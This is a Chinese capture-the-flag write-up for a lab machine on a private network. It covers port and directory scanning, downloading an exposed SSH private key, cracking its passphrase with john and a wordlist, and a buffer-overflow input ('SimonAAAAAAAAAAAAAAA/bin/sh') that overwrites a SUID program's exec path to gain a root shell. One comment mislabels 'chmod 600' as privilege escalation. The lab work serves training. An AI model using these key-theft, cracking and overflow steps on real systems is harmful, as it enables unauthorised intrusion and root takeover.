【CTF】SSH私钥泄露
kali:192.168.223.131
target:192.168.223.167
通过arp-scan扫出ip为192.168.223.167,再通过nmap扫描
nmap -sV 192.168.223.167
发现开启了22,80,31337端口,其中80端口和31337都是http服务;31337显示Not Found
使用dirb扫描网站
dirb http://192.168.223.167:31337
扫描到robots.txt,通过访问robots.txt获得/.bashrc、/.profile、/taxes三个文件
访问/taxes获得第一个flag
dirb还扫描到/.ssh,出现 id_rsa、authorized_keys、id_rsa.pub 的数组,说明ssh私钥有泄露,尝试分别下载
192.168.223.167/.ssh/id_rsa
192.168.223.167/.ssh/authorized_keys
192.168.223.167/.ssh/id_rsa.pub
在保存私钥文件的文件夹下打开终端
//提权
chmod 600 id_rsa
//查看authorized_keys,下面有个叫simon的用户
cat authorized_keys
//尝试以simon用户登陆
ssh -i id_rsa simon@192.168.223.167
由于id_rsa文件有密码,需要破解
python /usr/share/john/ssh2john.py id_rsa > rsacrack
生成一个rsacrack的文件,对其破解
cat /usr/share/wordlists/rockyou.txt | john --pipe --rules rsacrack
解出starwars,成功登陆目标服务器,在root目录下找到flag.txt,但是无法查看
查看自己能以root权限执行什么
find / -perm -4000 2>/dev/null
可以执行 /usr/local/bin/read_message
,应该用户自己编译出来的执行命令的程序,与root文件下的read_message.c应该是一个东西,看一下root目录下的read_message.c写了什么
cat read_message.c
发现是一个用c语言写的代码,在注释里找到第二个flag
查看该程序的漏洞,关键代码的意思为只要实现溢出即可执行程序
//char buf[20];
//char authorized[] = "Simon";
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
exit(EXIT_FAILURE);
}
authorized有5个字符,buf上限20个,所以只要5+15就能填满,后续的命令将溢出到下面的execve去执行
read_message
SimonAAAAAAAAAAAAAAA/bin/sh
//此时是root权限,直接查看flag即可获取第三个flag
cat flag.txt